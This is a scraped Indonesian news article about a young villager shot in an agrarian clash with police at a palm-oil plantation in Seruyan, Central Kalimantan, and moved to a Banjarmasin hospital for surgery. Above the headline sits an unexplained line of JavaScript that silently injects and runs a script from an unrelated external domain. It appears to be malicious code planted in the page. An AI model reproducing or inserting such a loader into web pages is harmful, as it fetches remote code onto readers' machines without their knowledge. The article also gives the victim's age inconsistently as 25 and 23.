(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

BREAKING NEWS: Korban Konflik Agraria di Kalteng Taufikurahman Dirujuk ke RSUD Ulin Banjarmasin!

KANALKALIMANTAN.COM, BANJARMASIN – Taufikurahman (25), salah satu korban konflik yang melibatkan masyarakat dan tim pengamanan di perkebunan kelapa sawit PT Hamparan Masawit Bangun Persada di Desa Bangkal, Kabupaten Seruyan, Kalimantan Tengah, kini berjuang untuk hidupnya. Lantaran sebuah peluru masih terselip di dalam tubuhnya, ia terpaksa dilarikan ke RSUD Ulin Banjarmasin untuk perawatan medis yang mendesak.

Sebelumnya fasilitas yang dibutuhkan untuk operasi tidak dapat ditemukan di RSUD dr Doris Sylvanus Palangkaraya. Plt Direktur Utama RSUD Ulin Banjarmasin, dr Diauddin telah memastikan keberadaan Taufikurahman di rumah sakit tersebut.

“Iya, sudah di RSUD Ulin Banjarmasin,” akunya.

Menurut Diauddin, jadwal operasi direncanakan untuk dilaksanakan pagi ini. Namun, dia meminta Kanalkalimantan untuk menghubungi bagian humas RSUD Ulin Banjarmasin untuk informasi lebih lanjut.

Dia menegaskan, “kalau jadwal operasi direncanakan pagi tadi, tapi untuk pastinya bisa hubungi ke humas RS Ulin. Karena posisi saya sedang tidak di RS.”

Sementara itu, keluarga Taufikurahman tampaknya masih sibuk mendampinginya dalam momen yang sulit ini. Ketika dihubungi melalui WhatsApp, M Karim merespons dengan singkat. “Nanti lhaa,” katanya via ponsel.

Sebelumnya, konflik agraria yang telah memakan korban ini terjadi di Desa Bangkal, Kabupaten Seruyan, Kalimantan Tengah. Pada Sabtu 7 Oktober 2023, terjadi bentrokan antara warga dan polisi.

Dalam peristiwa ini, satu orang bernama Gijik (35 tahun) tewas akibat tembakan dalam keadaan yang belum jelas, sementara Taufikurahman (23) terluka parah. Mereka adalah warga Desa Bangkal yang ikut dalam unjuk rasa menuntut penyediaan kebun plasma dari PT Hamparan Masawit Bangun Persada. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: rdy